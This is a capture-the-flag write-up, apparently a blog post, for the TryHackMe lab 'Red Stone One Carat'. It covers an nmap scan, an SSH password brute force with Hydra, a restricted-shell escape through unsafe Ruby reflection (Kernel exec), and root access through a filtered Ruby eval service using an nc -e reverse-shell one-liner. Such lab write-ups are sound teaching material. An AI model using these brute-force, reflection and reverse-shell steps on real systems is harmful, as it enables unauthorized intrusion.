Red Stone One Carat TryHackMe Write-up

Shivam Taneja
6 min readNov 1, 2022

--

Information

Room

  • Name: Red Stone One Carat
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: First room of the Red Stone series. Hack ruby using ruby.

Write-up

Overview

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap wordlistctl hydra

Network enumeration

Port and service scan with nmap:

# Nmap 7.91 scan initiated Tue Mar 16 00:20:19 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.159.98  Nmap scan report for 10.10.159.98  Host is up (0.033s latency).  Not shown: 65534 closed ports  PORT   STATE SERVICE VERSION  22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)  | ssh-hostkey:  |   2048 ce:c9:85:e6:cf:67:5e:29:6a:49:af:4c:fc:49:b2:77 (RSA)  |   256 4b:17:69:52:57:24:50:b9:ff:4e:45:75:81:8f:97:12 (ECDSA)  |_  256 67:82:c7:94:d9:da:29:bf:9a:44:41:bf:8c:35:21:f7 (ED25519)  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  Read data files from: /usr/bin/../share/nmap  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  # Nmap done at Tue Mar 16 00:20:53 2021 -- 1 IP address (1 host up) scanned in 34.24 seconds

Anyway the description of the room says:

Start with SSH bruteforce on user noraj.

Network exploitation

The hint says:

The password contains “bu”.

Let’s prepare a wordlist of password containing bu.

$ grep bu /usr/share/wordlists/passwords/rockyou.txt > /tmp/bu_wordlist.tx

Let’s try SSH bruteforce with hydra and our custom wordlist.

$ hydra -l noraj -P /tmp/bu_wordlist.txt 10.10.159.98 -t 4 ssh  Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-16 00:45:57  [DATA] max 4 tasks per 1 server, overall 4 tasks, 126338 login tries (l:1/p:126338), ~31585 tries per task  [DATA] attacking ssh://10.10.159.98:22/  [STATUS] 44.00 tries/min, 44 tries in 00:01h, 126294 to do in 47:51h, 4 active  [STATUS] 32.00 tries/min, 96 tries in 00:03h, 126242 to do in 65:46h, 4 active  [22][ssh] host: 10.10.159.98   login: noraj   password: cheeseburger  [STATUS] 18048.29 tries/min, 126338 tries in 00:07h, 1 to do in 00:01h, 2 active  1 of 1 target successfully completed, 1 valid password found  Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-16 00:53:13

Initial system access

Let’s connect to the machine via SSH now:

$ ssh noraj@10.10.159.98  noraj@10.10.159.98's password:  Last login: Mon Mar 15 23:54:37 2021 from 10.9.19.77  red-stone-one-carat%

System reconnaissance

We quickly see we can’t run any common commands:

red-stone-one-carat% ls  zsh: command not found: ls

So let’s try some shell built-in ones to see where we are:

red-stone-one-carat% echo $SHELL  /bin/rzsh

rzsh is restricted zsh, we are in a restricted shell.

red-stone-one-carat% echo $PATH  /home/noraj/bin

Or path doesn’t contain /bin, /usr/bin or /sbin that's why we can't execute anything and of course we are not allowed to change our PATH.

As we don’t have ls we can use echo * and echo .* to list files:

red-stone-one-carat% echo *  bin  red-stone-one-carat% echo bin/*  bin/test.rb

Ok there is a ruby script we must be able to execute.

Restricted shell escape & Ruby on Rails Unsafe Reflection

Let’s execute the script: red-stone-one-carat% test.rb

#!/usr/bin/ruby  require 'rails'  if ARGV.size == 3      klass = ARGV[0].constantize      obj = klass.send(ARGV[1].to_sym, ARGV[2])  else      puts File.read(__FILE__)  end

The script is quite short. constantize seems to be a dangerous method.

Exploiting Unsafe Reflection in Ruby/Rails Applications

The method will allow use to transform a string into a Ruby object so we could execute code. We have the choice of the Class, class method and one argument.

We could use:

  • Class: File
  • class method: read()
  • argument: /home/noraj/user.txt

This is convenient to get the first flag we in the end we need to escape the restricted shell so better find a command execution payload.

  • Class: Kernel
  • class method: exec()
  • argument: /bin/zsh

Let’s use this and then set a PATH to be able to load commands:

red-stone-one-carat% test.rb Kernel exec '/bin/zsh'  red-stone-one-carat% export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

All common commands that can display a file are forbidden.

red-stone-one-carat% cat user.txt   zsh: permission denied: cat  red-stone-one-carat% tac user.txt  zsh: permission denied: tac  red-stone-one-carat% head user.txt   zsh: permission denied: head  ...

Or do it in Ruby (more obvious) as we can execute Ruby:

red-stone-one-carat% irb    irb(main):001:0> File.read('user.txt')  => "THM{edited}"  red-stone-one-carat% ruby -e "puts File.read('user.txt')"       THM{edited}

Elevation of Privilege (EoP)

We can see a hint file:

red-stone-one-carat% ls -lhA  total 64K  drwxr-xr-x 2 root    root    4.0K Mar 15 19:38 bin  drwx------ 2 noraj   noraj   4.0K Mar 15 23:52 .cache  -rw-r--r-- 1 vagrant vagrant   36 Mar 15 19:37 .hint.txt  -rw-r--r-- 1 vagrant vagrant   37 Mar 15 19:37 user.txt  -rw-r--r-- 1 noraj   noraj    42K Mar 15 19:44 .zcompdump  -rw-r--r-- 1 vagrant vagrant   20 Mar 15 19:37 .zshrc  red-stone-one-carat% ruby -e "puts File.read('.hint.txt')"  Maybe take a look at local services.

Ok so let’s see what network services are listening.

Again common network tools are forbidden and there is no bypass this time:

red-stone-one-carat% ss -nlpt  zsh: permission denied: ss  red-stone-one-carat% netstat -nlpt  zsh: permission denied: netstat

As the goal of the box is to use Ruby there must be a way to implement an equivalent in Ruby.

This can be done by parsing /proc/net/tcp where IP addresses are hex encoded with low nibble first for many services it can be very time consuming to do it manually so let's script it in Ruby.

require 'etc'  TCP_STATES = { # /usr/src/linux/include/net/tcp_states.h    '00': 'UNKNOWN',    'FF': 'UNKNOWN',    '01': 'ESTABLISHED',    '02': 'SYN_SENT',    '03': 'SYN_RECV',    '04': 'FIN_WAIT1',    '05': 'FIN_WAIT2',    '06': 'TIME_WAIT',    '07': 'CLOSE',    '08': 'CLOSE_WAIT',    '09': 'LAST_ACK',    '0A': 'LISTEN',    '0B': 'CLOSING',    '0C': 'NEW_SYN_RECV'  }  def decode_addr(addr)    ip, port = addr.split(':')    ip = ip.scan(/.{2}/).map{|x|x.hex.to_s}.reverse.join('.')    port = port.hex.to_s    "#{ip}:#{port}"  end  puts 'local address'.ljust(22) + 'remote address'.ljust(22) + 'state'.ljust(12) + 'username (uid)'  File.readlines('/proc/net/tcp').each_with_index do |line, i|    entry = line.split(' ')    unless i == 0 # skip headers      laddr = decode_addr(entry[1])      raddr = decode_addr(entry[2])      state = TCP_STATES[entry[3].to_sym]      uid = entry[7]      uname = Etc.getpwuid(uid.to_i).name      puts "#{laddr.ljust(22)}#{raddr.ljust(22)}#{state.ljust(12)}#{uname} (#{uid})"    end  end

Encode it in oneline base64 for easy pasting on the box:

$ cat mini-netstat.rb | base64 -w 0  cmVxdWlyZSAnZXRjJwoKVENQX1NUQVRFUyA9IHsgIyAvdXNyL3NyYy9saW51eC9pbmNsdWRlL25ldC90Y3Bfc3RhdGVzLmgKICAnMDAnOiAnVU5LTk9XTicsCiAgJ0ZGJzogJ1VOS05PV04nLAogICcwMSc6ICdFU1RBQkxJU0hFRCcsCiAgJzAyJzogJ1NZTl9TRU5UJywKICAnMDMnOiAnU1lOX1JFQ1YnLAogICcwNCc6ICdGSU5fV0FJVDEnLAogICcwNSc6ICdGSU5fV0FJVDInLAogICcwNic6ICdUSU1FX1dBSVQnLAogICcwNyc6ICdDTE9TRScsCiAgJzA4JzogJ0NMT1NFX1dBSVQnLAogICcwOSc6ICdMQVNUX0FDSycsCiAgJzBBJzogJ0xJU1RFTicsCiAgJzBCJzogJ0NMT1NJTkcnLAogICcwQyc6ICdORVdfU1lOX1JFQ1YnCn0KCmRlZiBkZWNvZGVfYWRkcihhZGRyKQogIGlwLCBwb3J0ID0gYWRkci5zcGxpdCgnOicpCiAgaXAgPSBpcC5zY2FuKC8uezJ9LykubWFwe3x4fHguaGV4LnRvX3N9LnJldmVyc2Uuam9pbignLicpCiAgcG9ydCA9IHBvcnQuaGV4LnRvX3MKICAiI3tpcH06I3twb3J0fSIKZW5kCgpwdXRzICdsb2NhbCBhZGRyZXNzJy5sanVzdCgyMikgKyAncmVtb3RlIGFkZHJlc3MnLmxqdXN0KDIyKSArICdzdGF0ZScubGp1c3QoMTIpICsgJ3VzZXJuYW1lICh1aWQpJwpGaWxlLnJlYWRsaW5lcygnL3Byb2MvbmV0L3RjcCcpLmVhY2hfd2l0aF9pbmRleCBkbyB8bGluZSwgaXwKICBlbnRyeSA9IGxpbmUuc3BsaXQoJyAnKQogIHVubGVzcyBpID09IDAgIyBza2lwIGhlYWRlcnMKICAgIGxhZGRyID0gZGVjb2RlX2FkZHIoZW50cnlbMV0pCiAgICByYWRkciA9IGRlY29kZV9hZGRyKGVudHJ5WzJdKQogICAgc3RhdGUgPSBUQ1BfU1RBVEVTW2VudHJ5WzNdLnRvX3N5bV0KICAgIHVpZCA9IGVudHJ5WzddCiAgICB1bmFtZSA9IEV0Yy5nZXRwd3VpZCh1aWQudG9faSkubmFtZQogICAgcHV0cyAiI3tsYWRkci5sanVzdCgyMil9I3tyYWRkci5sanVzdCgyMil9I3tzdGF0ZS5sanVzdCgxMil9I3t1bmFtZX0gKCN7dWlkfSkiCiAgZW5kCmVuZA==

On the box paste it on a file:

red-stone-one-carat% printf %s 'cmVxdWlyZSAnZXRjJwoKVENQX1NUQVRFUyA9IHsgIyAvdXNyL3NyYy9saW51eC9pbmNsdWRlL25ldC90Y3Bfc3RhdGVzLmgKICAnMDAnOiAnVU5LTk9XTicsCiAgJ0ZGJzogJ1VOS05PV04nLAogICcwMSc6ICdFU1RBQkxJU0hFRCcsCiAgJzAyJzogJ1NZTl9TRU5UJywKICAnMDMnOiAnU1lOX1JFQ1YnLAogICcwNCc6ICdGSU5fV0FJVDEnLAogICcwNSc6ICdGSU5fV0FJVDInLAogICcwNic6ICdUSU1FX1dBSVQnLAogICcwNyc6ICdDTE9TRScsCiAgJzA4JzogJ0NMT1NFX1dBSVQnLAogICcwOSc6ICdMQVNUX0FDSycsCiAgJzBBJzogJ0xJU1RFTicsCiAgJzBCJzogJ0NMT1NJTkcnLAogICcwQyc6ICdORVdfU1lOX1JFQ1YnCn0KCmRlZiBkZWNvZGVfYWRkcihhZGRyKQogIGlwLCBwb3J0ID0gYWRkci5zcGxpdCgnOicpCiAgaXAgPSBpcC5zY2FuKC8uezJ9LykubWFwe3x4fHguaGV4LnRvX3N9LnJldmVyc2Uuam9pbignLicpCiAgcG9ydCA9IHBvcnQuaGV4LnRvX3MKICAiI3tpcH06I3twb3J0fSIKZW5kCgpwdXRzICdsb2NhbCBhZGRyZXNzJy5sanVzdCgyMikgKyAncmVtb3RlIGFkZHJlc3MnLmxqdXN0KDIyKSArICdzdGF0ZScubGp1c3QoMTIpICsgJ3VzZXJuYW1lICh1aWQpJwpGaWxlLnJlYWRsaW5lcygnL3Byb2MvbmV0L3RjcCcpLmVhY2hfd2l0aF9pbmRleCBkbyB8bGluZSwgaXwKICBlbnRyeSA9IGxpbmUuc3BsaXQoJyAnKQogIHVubGVzcyBpID09IDAgIyBza2lwIGhlYWRlcnMKICAgIGxhZGRyID0gZGVjb2RlX2FkZHIoZW50cnlbMV0pCiAgICByYWRkciA9IGRlY29kZV9hZGRyKGVudHJ5WzJdKQogICAgc3RhdGUgPSBUQ1BfU1RBVEVTW2VudHJ5WzNdLnRvX3N5bV0KICAgIHVpZCA9IGVudHJ5WzddCiAgICB1bmFtZSA9IEV0Yy5nZXRwd3VpZCh1aWQudG9faSkubmFtZQogICAgcHV0cyAiI3tsYWRkci5sanVzdCgyMil9I3tyYWRkci5sanVzdCgyMil9I3tzdGF0ZS5sanVzdCgxMil9I3t1bmFtZX0gKCN7dWlkfSkiCiAgZW5kCmVuZA==' | base64 -d > /tmp/ss.rb

Execute it:

vagrant@red-stone-one-carat:~$ ruby /tmp/ss.rb  ...  127.0.0.1:30298       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30266       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30234       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30202       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30170       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30138       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30106       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30074       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30042       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30010       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:31547       0.0.0.0:0             LISTEN      root (0)  127.0.0.1:30939       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30971       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30907       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30875       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30811       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30843       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30779       0.0.0.0:0             LISTEN      vagrant (1000)  127.0.0.1:30747       0.0.0.0:0             LISTEN      vagrant (1000)  ...

Port 31547 service is owned by root so that must be the way.

vagrant@red-stone-one-carat:~$ nc 127.0.0.1 31547  $ id  undefined local variable or method `id' for main:Object

it’s not a shell but seems to be a Ruby eval pseudo shell.

$ File.read('/etc/passwd')  Forbidden character

Looks like many special character like dot, quotes, braces, etc. are forbidden.

Taking a look at this SO thread again we can find a way to execute commands without using a blocked character using %x and curly braces {} rather than normal () or square braces []. Also we can replace 127.0.0.1 that is using dots but localhost. We can start another SSH session with a netcat listener nc -nlp 9999 and open a reverse shell:

$ %x{nc -e /bin/zsh localhost 9999}

We get a shell as root:

vagrant@red-stone-one-carat:~$ nc -nlp 9999  export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  id  uid=0(root) gid=0(root) groups=0(root)  cat /root/root.txt  THM{edited}

--

--

Shivam Taneja
Shivam Taneja

Written by Shivam Taneja

IT Security Consultant, Researcher, Penetration Tester & Hacker.

No responses yet